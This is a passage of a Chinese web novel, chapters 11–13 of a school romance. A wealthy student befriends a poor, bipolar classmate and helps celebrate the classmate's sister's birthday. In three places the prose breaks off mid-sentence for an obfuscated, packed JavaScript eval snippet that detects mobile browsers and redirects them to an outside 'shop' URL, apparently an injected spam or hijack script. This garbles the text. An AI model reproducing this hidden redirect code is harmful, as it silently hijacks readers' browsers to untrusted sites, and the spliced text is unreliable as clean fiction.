“我自己的问题。”纪远声说,“最近心情不好,冲动了。” 黎迟夏突然顿住了脚步,他转过头,“你觉得我会信吗?信你无缘无故动手,还是信林子轩像个三岁小孩一样无辜?” 他直视着纪远声的眼睛,“你就打算一直这样?任由林子轩闹事?再自以为是地推开所有人?纪远声,如果你自己把自己锁起来,就不要怨这个世界抛弃你。” “我不知道你为什么休学,我也不想知道,但是你现在就在这个班,就和我有关,我想管,我相信你,懂吗?” 纪远声沉默地看着他,然后自嘲地挪开视线,“你不应该相信一个精神病。” 黎迟夏刚要开口,忽而听到转角处有人声靠近,还没反应过来,就被纪远声拉进垃圾房的隔间。 隔间对两个成年体型的男生来说略显逼仄了,这个距离连彼此的呼吸都近在咫尺。 黎迟夏被垃圾的味道熏得有点难受,等那声音远得听不见了,才咳嗽起来,“为什么要躲?我们做了什么见不得人的事吗?” 虽说住校生有所谓的宵禁,但走读生并没有离校时间的限制,刚才那一下实在是小题大做。 黎迟夏话音未落便感到自己手被攥住了,汗津津的。他僵了一下,抬头看到纪远声热切的眼睛和脸上泛起不正常的红晕,在昏暗的光线里意外地清晰。 担忧盖过了肢体接触的不适。 “……你怎么了?” “你想听吗?”纪远声的声音因为亢奋而变得微微颤抖,“如果我说,你愿意听吗?” 黎迟夏没来得及回应,他就像变了一个人,变得鲜活而明朗,有一种豁出去了的感觉。 他深吸了一口气,“他和我有仇,林子轩。他的姐姐以前是我同学,她追过我,我拒绝了,我说我不喜欢她,她因为这事记恨我……很离谱吧,她看上一个精神病,还要因为一个精神病的拒绝因爱生恨,仅仅因为精神病长了一张看得过去的脸哈哈哈哈哈。” 纪远声突然笑起来,笑得弯腰蹲下身,像失控膨胀的气球。 “纪远声!”黎迟夏不及反应地按住他肩膀,“你冷静一点!” 他不知道纪远声是怎么了,完全变了一个人似的。 “她叫什么名字……我忘记了,她去找我妹妹,我妹妹!”纪远声的气一下子泄下去,“她说了什么……说了什么,”他靠着墙面坐在地上,喃喃自语,语速很快,“纪念一回来就哭,一直哭。她还有一个脑残的追求者。” “他和我打了一架,我不能打,打残了要付医药费……” “你先起来。”黎迟夏伸手想拉他,又觉得不太习惯,于是无措地僵在原地。 “黎迟夏,”他抬头,像不哭不闹的撒泼,“我不想回去。” “我不想吃药。” 他说着从兜里掏出药瓶扔到地上,被黎迟夏捡起来。 黎迟夏低头看着药瓶上的标签: 躁郁症,焦虑症…… 他的心猛地跳了一下,想起了纪远声的心理疾病。纪远声随意地坐在地上,眼中还有尚未尚未褪尽的狂热。 黎迟夏蹲下身与他平视,按用法用量倒了两片药,递到他嘴边。 纪远声撇开目光,“不吃。” 黎迟夏没见过他这副样子,不禁勾了下嘴角,“生病的小孩都要吃药。” “我没病。” “我很正常。我不是精神病。我不需要吃药。” 黎迟夏继续平静地看着他,没有催也没有劝。 像一场无声的拉锯战。 纪远声的呼吸渐渐平稳下来,介于刚才的亢奋与平时的冷淡之间。他最终吃了药。 “回去。” 纪远声像是燃尽了,一直到宿舍门口一句话也没说。 然后他停了下来,沉默了一下,“我不想回去。” “当时……打架就是在宿舍里。” 黎迟夏也沉默了一下,“那你来住我们这儿?” 黎迟夏觉得自己的智商可能被他拉低了,脑子都有点不正常了。 幸亏在宿管被吸引过来之前,纪远声没再闹脾气。 “下次打架别放水,要赔钱来找我。” 黎迟夏淡淡说道,又补了一句,“尤其是和林子轩。” 回了寝室黎迟夏十分钟写完了自己落下的作业本,不由有些后悔,早上都能赶完的作业,还要去跑那一趟。 不过也不是全无收获。 他竟然觉得纪远声刚才那模样还挺可爱,至少比他那冷冰冰的样子有意思,像个把秘密憋了很久的小孩,突然一股脑倒了出来。 黎迟夏觉得自己最近操心的有点多,想换换脑子,果断开了游戏。 刚胜利一局,安雯锦发来一条消息。 【大神救我啊啊啊啊啊[下箭头]】 黎迟夏点开下面的图片,是平面几何的压轴题,线条交错得像小学生随手的涂鸦。他竟然生出一种亲切的感觉,爽快地回了个ok。 对面发了个膜拜的表情。 大神算到一半就遭到了舍友的轰炸。 “快快快,组队组队,四缺一兄弟们,”郑新言探头朝黎迟夏叫道,“卷啥啊,哥们,这是开学第一天,不是高考前一天!” “你他妈高一卷相似三角形。” “哈?”郑新言凑过来看了一眼,张口就来,“你给初三做家教呢?” “不是。”黎迟夏非常省口水地解释,“安雯锦。” “哦哦,”郑新言一副了然的样子,“难怪呢,”他忽然想到什么,“她是喜欢你吧,上回还说要考到市一中来着。” 黎迟夏头也不抬地继续写,“这种话别乱说,要尊重女生。” “知道了。”郑新言懒懒地拖长了尾音,“她挺不错的,你不追一个试试嘛?” 黎迟夏想起纪远声说的话,林子轩他姐的确和林子轩一个德行,简直奇葩。 但安雯锦不是。 “拒绝早恋。”黎迟夏面不改色地回答。 “嘁,又装上好学生了。”郑新言摇头叹道,“不会把握机会的木头!” 黎迟夏“呵”了一声,谈恋爱又不是短跑,有什么可急的?难不成还要争个先后吗? 神经病。 “玩儿你的吧。” 黎迟夏算完了一整面草稿纸,给安雯锦拍照发过去,附了一条消息:【三种方法,纯几何推导,建系,向量,都可以做,这里只写了第一种,需要的话我再写给你。】 那头显示正在输入。 安雯锦捧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344693|199478||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着手机犹豫半天,过程看起来挺复杂的,真让别人写全未免太不客气了。就算黎迟夏没意见她也不好意思。 【不用不用,蟹蟹你[可爱]】 【对了,多少分能考上市一中呀】 【我好焦虑[叹气]】 黎迟夏看到后两条消息,想到郑新言的玩笑话,有些头疼。倒不是怕她因爱生恨,他是怕安雯锦真的那么执着白费力气,想劝她又不好明说,只能当作不知道。 【490以上】 【没事,不是还有一年吗】 另一头安雯锦撕了张便利贴,写上490贴在墙上,盖住了下面一张,上面写的是黎迟夏。她又回了个谢谢,很轻地叹了口气,她不确定自己表示的是否足够明显,如果喜欢已经不是秘密,还能是什么呢? 黎迟夏很早就躺床上了,他其实不是嗜睡的人,奈何一天下来糟心事太多,闹得他心神俱疲。黎迟夏都忍不住怀疑他和纪远声是不是八字相克,最近才会这么倒霉。 杨俭的狮吼犹在耳畔—— 男生之间。 搂搂抱抱。 黎迟夏恼怒地闭上眼,却睡意全无。他洁癖很严重,哪怕是好哥们儿郑新言,也鲜少有肢体接触。抱上去那一下…… 实则是没招了。 可他又不受控制地回想那种短暂而异样的感觉,回想隔间里靠得极近的瞬间,像那天晚上拂不开的芦苇絮。 纪远声腰腹很结实,还比他高半个头。黎迟夏从后面抱住时鼻尖刚好蹭到他后颈,有明显的荷尔蒙的味道。 烦躁。 黎迟夏啧了一声,小弟干嘛要比自己长得高。 打架都打不赢。 废物。 下次再帮他就是狗。 沉浸在内心斗争里不知何时睡着了的黎小少爷还不知道自己要当一辈子的狗。 这一晚居然睡得很安稳,黎迟夏挺有成就感,他哄纪远声吃了药,还把他带回了宿舍。 “叠个千纸鹤,再系个……” 黎迟夏最先被鬼畜铃声吵醒,闹钟的主人还睡得鼾声如雷。他烦得扯了张纸巾揉成一团扔到郑新言脸上。 “你过年呢,还系个红飘带!”黎迟夏没好气地冲弹跳起来的郑新言叫道,“七点一刻到教室,定六点半的闹钟几个意思。” “啊,”郑新言迟钝地看了一眼手机,立马哀嚎道,“我操,我按在家的时间来的,忘了是住校,我□□□□操。” “操个屁。”黎迟夏有起床气,早上都是一点就炸的氢气球。 荀北认命地下床,嫌弃地嘟囔,“我奶奶都不用这铃声。” “证明我是你曾祖。” “傻逼。”荀北骂得有气无力。 不过令人稍微安慰的是由于太早没什么人,几个刚开门的早餐店都空空荡荡的,不用排队。 三人到教室的时候,从窗户看还暗着。黎迟夏以为里面肯定空无一人,却没想到看到另一个身影。 纪远声。 他侧头趴在桌子上,脸对着墙,像是睡着了,黎迟夏都已经放在开关上的手顿住了。 黎迟夏有点头疼,他是在教室扎根了吗?还是他宿舍里藏着和他打架的神经病? 没人说住校是住教室啊。 教室里没开灯,连空调都没开。黎迟夏有点佩服这人的承受能力,这天气搁外面得有三十多度,室内虽没有太阳,也好不到哪里去,还闷。 神人。 郑新言是个一根筋的,可能都没有注意到教室里还有个人,朝愣在门口的黎迟夏喊了一句,“开灯啊,这么黑做强盗吗?” “神人”被喊醒了,不知道是不是黎迟夏的错觉,他抬头的瞬间有点阴郁,不是被吵醒的烦躁,更像是沉浸在某种玄妙的状态里还没清醒过来。 四目相对,隔了一整个教室。 黎迟夏正在犹豫是问“你还睡吗”还是“能开灯吗”的时候,“神人”干脆地按了后门的开关,又干脆地趴回去。 …… 小弟太善解人意怎么办? 11. 我是你的靠山 纪远声睡了一早上,他本就坐在后排,又算个特殊人物,居然没有一个老师来叫醒他。 他一直这么能睡吗? 黎迟夏都忍不住怀疑他昨晚是不是半夜又偷偷跑出去了,这个想法有点荒谬,但看他昨天那模样,也不是不可能。 黎迟夏以为他能这样趴一天,但他猜错了。 他至少没忘吃饭。 “那是不是纪远声?” 郑新言百无聊赖地扒拉着菜,一抬头看到个眼熟的身影。 他脑子一抽要来食堂体验生活,还连拖带拽地捎上了两个冤种兄弟。 黎迟夏闻言回头望过去。 果然看见他端着碗经过,脸上还带着些困乏。 “纪远声。”他站起来喊了一声。 纪远声朝这边望了一眼,表情先是茫然,然后变成犹豫。 他停在原地,似乎不知道该过来还是假装没看见直接离开。 “一起吃呗!”黎迟夏招呼道。 等他走近时,黎迟夏愣了一下,托盘上是一碗汤和两碗米饭——都是免费的。 他坐到黎迟夏对面,沉默不语。 “正好我们吃不完。”黎迟夏把菜推到他面前,“帮个忙,免得浪费了。” 这里没有三岁小孩,都看得懂黎迟夏的意思。三个人买了十几个菜,一起摆在桌上,还多拿了一双筷子专门夹菜,方便尝试不同的菜品,又没有点太多菜的烦恼,要是再来几瓶酒,他们估计能把食堂吃成酒席。 三人的确吃得差不多了,纪远声张了张嘴,终于没有说话。 他吃得很快,仿佛根本不管什么味道,只是一股脑往嘴里塞。 “以后跟我们吃饭吧。”黎迟夏顺势提议。 纪远声又犹豫了,郑新言和荀北也笑着表示欢迎。 也许某些事物失去得太久了,等物归原主时,反而不敢轻易接受,比如善意,比如希望。 他最终在黎迟夏不容置喙的目光里点头答应。 三人行成了四人行,人们喜欢说物以类聚,人以群分,但其实毫不相干的人有时也能一拍即合。 半路上黎迟夏感觉纪远声时不时扭头看他,却又一言不发,他都替纪远声着急。 “你是不是有话要说?”他在无人的拐角处停下脚步,干脆问道 “昨天晚上……”纪远声有点艰难地开口,眼里有回避和挣扎,“你要不忘了吧?” “?” “为什么?” “不是什么光彩的事。”纪远声低声说。 黎迟夏轻嗤一声。 “重要吗?” 黎迟夏反问他,“光不光彩重要吗?打架不光彩,被打就光彩吗?” “纪远声,你以为你是谁,担得起一切的过错?揽得下所有的责任?” “为什么要忍?”他问道,又不以为意地扬了扬头。 “嘁,你躲着他们有用吗?忍一时得寸进尺,退一步不得善终。” “不一样,”纪远声出声打断。 “你有亲朋好友为你撑腰,你不用畏首畏尾,不用如履薄冰,你可以无所顾忌,可以随心所欲。” “可是我不一样,我已经在谷底,谁都可以落井下石。我除了忍气吞声,别无选择。” 那些卑劣的羡慕,荒诞的幻想,隐秘而沉重的包袱,在这一刻歇斯底里地倾泻而出。纪远声发泄完就愣住了,黎迟夏帮了他太多太多,没道理要承受他的消沉和怨气, 伤人的话一旦出口,便无法收回。纪远声几乎以为要爆发一场激烈的争吵,而他罪无可赦。 然而黎迟夏淡淡地看着他,问道,“如果有人给你撑腰,你会不会活成不一样的样子?” 纪远声茫然地看着他。 “我可以是你的靠山。” 纪远声听到他这么说。 这样庄严而宏大的承诺,似乎不该这样潦草又轻易地说出口,少年的慷慨有时随意得仿佛什么都可以给,给谁都可以,仿佛只是随口一句玩笑话。 到多年覆水难收之后,纪远声会想,宁愿如此。 多了纪远声这个饭搭子之后,原本的三人组倒没什么转变,但纪远声的伙食肯定好上不少,至少不用吃清汤泡米饭。 林子轩似乎也消停不少,虽然和纪远声依旧不对付,至少没再找过麻烦。 只有一个个问题还盘旋在黎迟夏心头—— 纪远声到底是什么心理疾病?他休学的原因又是什么?他亲生父亲怎么回事? 周末的时候,黎迟夏爸妈都还在外地,他实在有些无聊,约着几人在附近逛逛。纪远声本想推脱,却禁不住三人的盛情邀请,于是理所当然地成了向导。 学校往南走是一条商业街,平时还挺热闹,甚至有不少人来打卡拍照。黎迟夏属于钱多但购买欲不高的,权当放松身心,陶冶情操。 反倒是纪远声,在一家商店的橱窗前驻足。 里面是买各式各样的娃娃,小猫小狗兔子小熊一应俱全。像是小女孩会喜欢的,黎迟夏实在无法想象纪远声抱着一个粉嫩的兔子玩偶的样子。 “你喜欢这种东西?”黎迟夏有点难以接受地问道,满脸写着“虽然有点奇葩,但我尊重”。 “不是。”纪远声有些无奈。 “那……你有女朋友?”黎迟夏问出这句话的时候竟然没来由地紧张。 “不是,我妹妹生日。”纪远声不得已解释,“想给她买的。” “哦,小结巴呀。”黎迟夏恍然大悟,“什么时候?我们几个去凑凑热闹?” “下周天,”纪远声声音有些消沉,他看到价格,把手里的玩偶放下了。 “走吧。” 黎迟夏看得清楚,挑了挑眉,“走什么?” “买啊。” “不用了,网上便宜点。”纪远声转头就走。 黎迟夏没走,他拿着玩偶付了钱,不由分说地塞到纪远声手里,“拿着,不要就扔了,这种不好退。” 纪远声看着甚至被体贴地装在包装盒里的玩偶,表情复杂。黎迟夏看他抱着少女心的玩偶十分滑稽,不由有些好笑,拿着手机又想偷拍一张,看到一条信息。 黎迟夏之前问迟棠,资助的贫困生是不是纪远声,她回了话。 [是的] [你怎么知道?] 黎迟夏觉得他妈的问题有时候没有回答的必要。 [太明显了。] [怎么好像连吃饭的钱都没有?] 这次回复的时间有点长。 [都去付他妈妈和他的医药费了。] [没办法] 黎迟夏突然意识到了什么,又追问, [什么医药费?] [精神类疾病吧,好像是] [问这么多干嘛?] 黎迟夏关了手机,纪远声的心理疾病大概到了很严重的地步,而且可能还是遗传类的。 他一下子觉得自己任重而道远。 “怎么了?”纪远声回头见他没动,问道。 “没事。” 黎迟夏不想这么早问出来,接上了刚才的话题,“你妹妹生日怎么办?” “再买个蛋糕吧,小孩子们都要的。” “去外面吃一餐吧?”郑新言提议。 纪远声本想说太贵了,不划算,想到黎迟夏大概又要甩钱了,还是换了个理由,“纪念肠胃不好,在外面吃又要吐了,家里清淡一点。” “你做饭啊?”黎迟夏问。 一问出来就感觉这话有些傻气,纪远声家里就两个人,不是他做饭,难道还让一个小学生去做吗? “那你下周六多做点,我们给小结巴一起庆祝。” 纪远声神色僵了一下,黎迟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344694|199478||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏笑道,“怎么,不欢迎我们?” “不是,家里太乱。” 在黎迟夏再三要求下,纪远声最终答应了,答应得很勉强。 黎迟夏看着他,忽然问道,“你生日呢?” 纪远声怔了怔,不知道是这个问题陌生,还是生日陌生,只说,“很久没过生日了。” 意料之中。 四人一直逛到中午,正好经过一家生意挺火爆的餐馆,索性进去吃个饭。 纪远声走在最后面,忽然僵住了。黎迟夏最先发现他的异样,“怎么了?” 纪远声没说话,但脸色非常难看,像一种失控的前兆。郑新言和荀北不了解他的状况,都不明所以。但黎迟夏见过,经历过,他来不及犹豫就抓住了纪远声手腕,内侧的触感有些异样的凸起。 是伤疤。 黎迟夏想举起他手腕看,却让纪远声回了神,下意识就挣开了。 手腕上的伤疤,任谁都会多想。 纪远声看着他,目光幽深。 “怎么了?” “没事。”纪远声脸上被两种表情撕扯,一半是没褪尽的愤怒,一半是颓丧。 “行,”黎迟夏气笑了,不由分说地拽过他的手腕,给他看那交错的深浅不一的伤疤,忘了洁癖,也忘了边界,“那这是什么?” 纪远声避开他的视线,“摔的。” “……下次换个借口。”他没有再问。 “纪远声,”黎迟夏没松手,目光钉在他身上,“你吃药了吗?” 他垂下眼,方才的戾气被尽数收敛。纪远声倒出药,说话干哑而疲惫“谢谢。” 郑新言和荀北站在旁边看着,不知所措。 “到底怎么回事?”黎迟夏压低声音。 纪远声摇头。 黎迟夏咬了咬牙,松开他的手腕,决心自己弄明白。 他顺着纪远声刚才的目光看过去,那一桌坐着一家三口,看起来幸福美满,男孩看起来和纪念差不多年纪,笑得很开心。 黎迟夏敏锐地发现那男人长得和纪远声有些像,但又多了些算计和说不清的东西,也许长相原本很好看,但像水里掺了杂质,只剩下浑浊。 和纪远声完全不一样。 他想起郑新言提起纪远声和他父亲吵架的事情,隐隐明白了些什么。 “他是你爸?”这次黎迟夏问得很直白。 这是谜底揭晓的前兆。 纪远声握紧拳头又松开,那股劲泄下去,便无影无踪。 “对。”他声音很低,几乎听不到。 纪远声深吸一口气,都准备全盘托出了,却被黎迟夏的声音中止,“换一家吧。” 其他人也没什么意见,只是有些奇怪,在这个插曲之后,沉默在四人之间蔓延,纪远声的异样太明显,傻子都能看出来。 黎迟夏无奈地叹了口气,“别捏那包装纸了。” 纪远声低头看了一眼,边角处被捏出了指痕,像揉在一起抚不平的情绪。 “夏哥,”郑新言小声在他耳边说,“我刚才好像看到了当时跟他吵架的那个男人。” “我知道。” 郑新言惊道,“卧槽,你怎么什么都知道?” 黎迟夏翻了个白眼,“因为我是你爹。” 他们第二次选了个咖啡厅,黎迟夏选的。 纪远声说去点餐,黎迟夏想不过,跟了过去,果然看见他靠在墙边,点了跟烟,然后靠着墙沿慢慢滑落下去,像被抽去所有力气。 跳海的人在水里会因本能而挣扎吗,还是任由自己沉溺。 黎迟夏看到他因被撞破而略显惊惶的神色,将之前的承诺再一次郑重地说出来。 “纪远声,我可以给你撑腰。” “现在,以及未来。” “你想不想说是你的选择,我只想告诉你,我想听。” 12. 同一天的生日 “我们有这么熟了吗?”纪远声冷静下来,掐灭烟与黎迟夏擦肩而过,语气不自然,“抱歉,我不想说。” 黎迟夏静静地看着他,“好。” 两人回到店里时,郑新言和荀北正在讨论怎么帮纪念过生日。他们和纪远声相处的时间不短,都知道他家里困难,既然已经是朋友,想着能帮一把就帮一把。纪远声听他们讨论地热烈,一时间竟插不上话。 “去游乐场吧。”黎迟夏若无其事地加入讨论,谁都没有再提刚才的事。“适合小朋友。” “这个不错!” “我觉得可以。” 荀北和郑新言都表示赞同。见三人已经一边吃甜品,一边聊到去哪个游乐场了,纪远声自知推脱肯定无用,也就坦然地接受了他们的安排。 “欸,纪远声,你生日什么时候?”黎迟夏转向他。 “怎么,你要给我过生日?”纪远声的本意只是玩笑,却没想到黎迟夏大大方方地承认了,“是啊!” 纪远声“啊”了一声,“七月十九。” “这么巧?”黎迟夏惊讶道,“你和我同一天生日。” “哇,”郑新言在旁边当气氛组,“这就是不求同年同月同日死,但求同年同月同日生吗?” “怎么样?”黎迟夏笑道,“到时候正好生日一起过。” “小孩才过生日。” 黎迟夏戏谑地看他,“你不是吗?” “我成年了啊。”纪远声理所当然地说。 “谁定的?”黎迟夏不服,“成年了就不能过生日吗?” “幼稚。” 幼稚个屁,黎迟夏不禁有些好笑,纪远声有时像吃不到葡萄说葡萄酸的那只狐狸,口是心非得紧。 到了纪念的生日,三人按原计划要去纪远声家里“拜访”。 “真要进去吗?”纪远声又一次确认。 “不然呢?来都来了,不请我们吃餐饭呀?”黎迟夏打量着眼前矮小破烂的居民楼,b比起住人更适合忍不住问,“你们一直住这?” “不是,之前的房子卖了。” 纪远声家在顶楼,光是爬楼梯就爬了十几分钟,楼梯又窄又陡,要是到了晚上,估计还很黑。楼道又胡乱竖着的扫把和各种垃圾,五楼还有只见人就叫的大狗。黎迟夏觉得住这别说幸福感,连安全感都不一定能保证。 黎迟夏踏进门的时候敏感地嗅到一股陈旧的味道,大概是木头腐朽,中药浓苦,潮湿的混着一点消毒水的气味。黎迟夏闻惯了大牌的空气清新剂,此时被呛得一阵咳嗽,小心地避开地毯的破洞。 “哥?”纪念跑出来,惊奇地看着一群人。 “我朋友,来给你过生日的。” 纪念惊喜接过他手上的兔子玩偶,抱在怀里翻来覆去看了半天。黎迟夏心下奇怪,听纪远声打断她才恍然大悟。 “没事,清仓甩卖的,很便宜。” 纪念这才放下心,抱着玩偶眼巴巴地盯着蛋糕看了好久,又把兔子珍重地放到床头。不知道是不是亲哥哥的影响,纪念性格也沉闷得很,不像同龄人。 她小声和黎迟夏几人打过招呼,十分自觉地回桌边写作业了。 黎迟夏张望了一番,忍不住问。 “怎么在客厅里放书桌?” “没有房间了。”纪远声一边在冰箱里翻找,一边说,“她房间是阳台改造的,没地儿放书桌了。” “我去买个菜,你们先休息会儿。” 黎迟夏转头看了眼正热火朝天地组团打游戏的两个舍友,自告奋勇,“我陪你去吧,” “不用。”纪远声怕他坚持,“大热天的,爬上爬下又出一身汗。” 黎迟夏犹豫了一下,觉得在理,于是倒到沙发上,“那你记着来找我报销。” 纪远声笑了笑,没放在心上,在门口问,“你想吃什么?” “不吃葱姜蒜,不吃辣,不要花椒胡椒味……”黎迟夏一边想,一边扳着指头说。纪远声耐心听他讲完才出门。 好难伺候的祖宗,他心想。 纪远声家里的空调和学校里的有得一拼,光顾着吭哧吭哧喘气,降温的作用却寥寥。 黎迟夏在沙发上不停地变换姿势,感觉无论如何都会流汗。 他点开吴玥刚发来的一条视频。 [班长,这里面好像是纪远声] 视频里拍的像是酒吧一类的地方,灯光闪烁不息,人声嘈杂,舞台上的应该是个乐队,长相都各有特色,其实主人公并不是拿着话筒的纪远声,而是视频正中间衣着打眼,染着红头发的青年,眉目极尽张扬。 而纪远声半侧着身,因为距离远看不清脸,只有一贯的安静沉郁溢出屏幕,和现在的状态没有很大区别。他在喧哗的酒吧居然并不违和,像是光怪陆离的另一种表现。 评论破百,点赞过千。 底下有一条评价:[那个白衣服男生是新人吧,之前没见过。] 白衣服男生说的就是纪远声。 黎迟夏若有所思,他应该算是乐队主唱。 能在酒吧出入肯定已经成年,这么算纪远声至少休学了两年。 难怪在一群学生里总是格格不入。 不到半个小时,纪远声就拎着两大袋回来。 黎迟夏从游戏里懒洋洋地抬了抬眼,“多少钱?” 纪远声有些无奈,“哪有上家里吃饭还要付饭钱的道理?” “有啊,”黎迟夏坐直身子,“现在有了。” “……”纪远声撒了个谎,“没发票,我不记得价钱了。” 黎迟夏看他几秒,才移开目光,“行吧。” 信你个鬼。 不过没关系,来日方长。 纪远声要做五个人的饭菜,还不知要做到什么时候。黎迟夏正好在沙发上蜷累了,决定去打个下手。 厨房很小,刚能容下两个人。 “你怎么来了?”纪远声正在水龙头下洗菜。黎迟夏看着莫名的妥贴。纪远声现在的模样就像漂泊了很久的风,终于有了落点。 “来帮忙啊。” 纪远声本想拒绝,但看他跃跃欲试的样子又改了主意。 说是帮忙,其实是来偷师的。 等纪远声剥了一盆虾,黎迟夏还在跟一个青椒较劲,刀悬在半空,比划了半天没落下。 “你倒是切啊。” “我在找缝。” 纪远声没忍住,嘴角往上弯了弯,伸手把他手里的青椒拿过来,刀尖一挑,把蒂连同里面的籽一块儿带出来,啪地扔进垃圾桶。然后刀身一拍,青椒扁了,几刀下去就成了丝。 “拍扁了再切,不滑。”他耐心教学。 黎迟夏噢了一声,又拿起一个青椒,学着他的样子,刀背一拍——力气使大了,青椒汁水飞溅出来。 幸好纪远声反应迅速地替他挡了一下。 这回他笑出声,“玩去吧,小朋友。” 黎迟夏不服气,转而挑了根萝卜切,纪远声挑眉,“小心把手切了。” 十分钟后,两人看着一堆奇形怪状的切块,和剩下大半根的白萝卜,陷入沉默。 纪远声现在确定了,黎迟夏就是来捣乱的。 他非常委婉地劝,“厨房热,你还是回客厅吧。” 黎迟夏还是不死心,“我就看看。” 纪远声不拦着了,拿过菜刀把萝卜和土豆一起切了,他切得快而均匀。 对比鲜明。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344695|199478||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 黎迟夏探头看了眼水池里的虾子。 “怎么不买活虾?” 纪远声无奈:“这边哪有卖的呀,祖宗。” 黎迟夏反应过来,没人买,自然就没人卖。 他不再说话了,在旁边安静地学艺。 纪远声把土豆丝拢进碗里,接了水泡着,去去淀粉能省点油。油壶底朝天斜靠在碗边,他抖了抖,最后几滴油滑进锅里。没等油热,他就把土豆丝捞出来倒进去,水汽“滋”地一声腾起来,锅铲是塑料的,怕粘锅,他就来回扒拉,土豆丝在锅里刺啦刺啦响,半炒半煮。 他又加了点醋和盐。盐罐子是装腐乳剩下的,小勺探进去刮了半勺,抖匀。 架子上挂着的生姜已经干瘪。 “这样多久了?”黎迟夏没头没尾地问出一句。 锅里噼里啪啦响,纪远声没听清,“什么?” “就是,”黎迟夏迟疑了一下,“只有你和你妹在家,有多久了。” 很久没有回答,他以为纪远声没听到。 “四五年了吧。” 纪远声答。 黎迟夏注意到他被油烟熏红的脸颊,心里有些乱。 其实纪远声说的没错,他们原本就是不一样的。不是同一个世界的人,恐怕连相互理解都不容易。 但他其实挺佩服纪远声,被生活百般蹂躏,还能不躺平,不崩溃,不讨好,不堕落,不低人一等,不作恶寻仇。 从平凡到宏伟是一种伟大,从卑下到平凡同样也是。 他控制不住地去看纪远声手碗处的伤疤,暗红色和粉色交叠着,分不清哪道是哪道。 黎迟夏走出去,把之前记下的纪远声吃过的药都搜索了一遍。他想知道纪远声的心理疾病,就像慢慢地去了解他的性格,家庭。 最后整合的结果是双相情感障碍。 而且好巧不巧,双相情感障碍就有很强的遗传性。他又去查这种疾病的症状,治疗。 黎迟夏自己都很惊讶——他居然能耐心地读完这么多枯躁乏味的心理学知识。 他想建立一个乌托邦,和纪远声一起。 如果纪远声还没有走出来,那就让他来主动靠近。 黎迟夏起身伸了个懒腰,心情松快不少。他在这简陋的房子里四处转了转,最后又转回厨房。 “卧室里怎么还有钢琴?” 纪远声正在熟练地颠勺,一脸平静,“我妈的,她以前是钢琴师。” 黎迟夏想起吴玥发的视频,“那你还弹吗?” 纪远声动作微微一顿,“我不会。” 说谎。 黎迟夏敏锐地察觉到他并不明显的情绪波动。大概是继承了他爸谈生意的天赋,黎迟夏察言观色的能力一直很强。 “帮我把菜端出去吧。”纪远声转移话题。 “……哪有使唤客人做事的?” “现在有了。” “……” 纪远声做的菜很清淡,但看相都挺不错,连黎迟夏这么挑食的人都有了胃口,而且特意没加葱没加辣,蒜和姜都切成了大块。黎迟夏怔了一下,那些刁钻的要求本来是随口一提,也没想到纪远声会执行得这么彻底。 桌上只有两道荤菜,一个是白灼虾,还有一个清蒸鲈鱼,在黎迟夏和郑新言眼中,肯定太寒酸了,但对于纪远声,大概已经是少见的珍馐。 “欸,没想到你做菜这么好吃啊?” 黎迟夏毫不吝惜自己的夸奖,郑新言和荀北也表示赞同。 “熟能生巧。”纪远声夹了只虾给纪念。 “哥,”纪念小声道,“我不吃虾。” “那就扔了。” 纪念撇了撇嘴,闷头吃完了。 13. 鬼屋 黎迟夏总觉得小结巴可能对自己有点误解,一顿饭下来偷偷拿余光看他好几次,等他一看过来,又马上低头吃饭。 “你妹是不是怕我?”黎迟夏转头问纪远声。 纪远声被噎了一下,“错觉吧。” 怎料纪念忽然抬头,“哥哥说太好看的男生都要小心。”她声音本就稚气未脱,说话又结巴,童言无忌,完全没有出卖哥哥的即视感。 “?” “谢谢夸奖。”黎迟夏首先听出的是自己是好看的男生的结论,然后才笑道,“恶评就恶评,干嘛还把自己骂进去啊?” 郑新言也来凑热闹,“小妹妹,我不帅吗,怎么不怕我?” 纪念认真地比对一番,又认真地回答,“那个哥哥比你好看。” “哈哈哈哈哈。” 纪远声听着有点自闭了,不想说话。 “吃饭。” 黎迟夏憋着笑,“好好好。”又转向纪念,开玩笑道,“其实你哥说的没错,但我是个例外。” “哪有自己给自己发好人卡的?”纪远声在一旁拆台。 “行啊。那你给我发。”黎迟夏戏谑笑道,“我可是大好人,是吧小弟?” 纪远声无奈地看着他,当时的称呼愣是记到了现在反复鞭尸。 饭桌上气氛活络起来。郑新言说起篮球队的趣事。谁谁谁穿错了队服,谁谁谁把球传给了对面的球员,谁谁谁投个篮结果把自己挂在篮筐上,只有纪念依旧埋着头专心吃饭。 “你们练得怎么样?”纪远声问。 “不怎么样。”黎迟夏秒回,“技术不行,配合更是一塌糊涂,到现在都没选出队长。” “你不当队长吗?” 